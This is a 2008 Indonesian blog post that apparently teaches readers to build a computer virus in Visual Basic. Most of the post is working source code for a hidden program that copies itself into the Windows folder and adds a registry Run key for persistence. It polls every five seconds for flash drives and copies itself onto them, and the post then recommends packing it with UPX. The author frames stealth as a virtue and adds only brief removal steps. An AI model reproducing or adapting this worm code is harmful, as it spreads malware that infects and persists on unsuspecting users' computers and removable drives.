Powered By Blogger

Pembuatan Virus Dengan Visual Basic (VB)

Posted: Rabu, 03 Desember 2008 by QIWS in Label:
0

Ok Gw lg iseng nic….jadi Pengen ngutak-ngatik kompi Kali ini Gw bakal ngejelasin tentang “PEMBUATAN VIRUS DENGAN VISUAL BASIC” Langsung aja yah …..Oya tapi sebelum Gw mulai resiko di tanggung sendiri yah?? Inget “DITANGUNG SENDIRI” Ih serem banget bahasnya yah….he…he.. mulai yuk?

  1. Tidak menampakan diri pada saat Run.

Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module)

Option Explicit ‘setiap variable harus dideklarasikan

Sub main()

App.TaskVisible = False ‘tidak tampil di taskbar

Form1.Visible = False ‘tidak menampilkan form

End Sub

Buatlah sub main sebagai startup object program anda (Project-Project Properties-Startup Object, Sub Main)

Coba lakukan Run, apakah program anda visible (form dan taskbar) ?

  1. Mengaktifkan diri setiap proses boot System.

Tambahkan sebuah sub baru dengan nama virusInstall

Sub VirusInstall()

Dim wShell As Object

Dim fSource As String

Dim fTarget As String

'ambil path dan nama exe file

fSource = App.Path & "\" & App.EXEName & ".exe"

'duplikasi ke folder windows

fTarget = Environ$("windir") & "\MyVirus.exe"

'Periksa apakah sudah pernah install

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

Set wShell = CreateObject("WScript.Shell")

'manipulasi registry run

wShell.regwrite "HKLM\Software\Microsoft\Windows\Run\MyVirus", fTarget

End If

End Sub

dan aktifkan sub virusInstall dari Sub Main

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall ‘install diri

End Sub

  1. Penyebaran diri melalui media flash disk

· Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat)

Dim infectedFlashDisk As Boolean ‘flag sudah infeksi atau belum

· Tambahkan sub berikut untuk mereplikasi diri virus

Public Sub replikasiDiri(targetDrive As String)

Dim fSource As String

Dim fTarget As String

'replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$("windir") & "\MyVirus.exe"

'ke target drive

fTarget = targetDrive + "\MyVirus.exe"

'jangan replikasi lebih dari 1 kali pada media yang sama

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

End If

End Sub

· Tambahkan sub berikut untuk memantau keberadaan flashdisk

Public Sub sebarFlashDisk()

On Error GoTo BatalInfeksi

Dim AdaFlashDisk As Boolean

Dim ObjFSO As Object

Dim ObjDrive As Object

‘buat file scripting object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")

AdaFlashDisk = False

For Each ObjDrive In ObjFSO.Drives

'Asumsi semua removable drive diatas huruf C adalah flash disk

'1 - Removable drive

'2 - Fixed drive (hard disk)

'3 - Mapped network drive

'4 - CD-ROM drive

'5 - RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then

AdaFlashDisk = True

'jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb

If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then

Call replikasiDiri(ObjDrive.DriveLetter+”:”)

infectedFlashDisk = True ‘aktifkan flag sudah infeksi

End If

End If

Next

If Not AdaFlashDisk Then ‘tidak ada flashdisk

infectedFlashDisk = False ‘reset flag sudah infeksi

End If

BatalInfeksi:

End Sub

· Tambahkan kontrol timer pada form1

Private Sub Timer1_Timer()

Call sebarFlashDisk ‘aktifkan penyebaran flasdisk

End Sub

· Atur setting flag sudah infeksi dan control timer melalui sub main

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall

'Atur variabel global

infectedFlashDisk = False

'Atur setting time

Form1.Timer1.Interval = 5000

Form1.Timer1.Enabled = True

End Sub

  1. Membatasi pengaktifan diri hanya 1 kali

Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.

· Tambahkan fungsi findWindow dari WINAPI

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

· Tambahkan fungsi sudahAktif

Function sudahAktif(Title As String) As Boolean

Dim vir_hwnd As Long

'Jika Jendela virus aktif

'cari Window dengan title yang sama

vir_hwnd = FindWindow(vbNullString, Title)

sudahAktif = Not (vir_hwnd = 0)

End Function

· Modifikasi sub Main

Sub Main()

Dim namaVirus As String

namaVirus = "MyVirus"

If Not sudahAktif(namaVirus) Then ‘jika belum aktif

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall

'Atur variabel global

infectedFlashDisk = False

'Atur setting time

Form1.Caption = namaVirus ‘tandai title Window

Form1.Timer1.Interval = 5000

Form1.Timer1.Enabled = True

End If

End Sub

  1. Ganti Icon MyVirus

  1. Memperkecil ukuran executable virus anda

Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading.

Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable.

Upx Project.exe

Dan ukuran file setelah di-UPX adalah 8704 bytes.

  1. Menghilangkan virus ini
    1. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value “MyVirus”
    2. Hapus file C:\Windows\MyVirus.exe

0 komentar: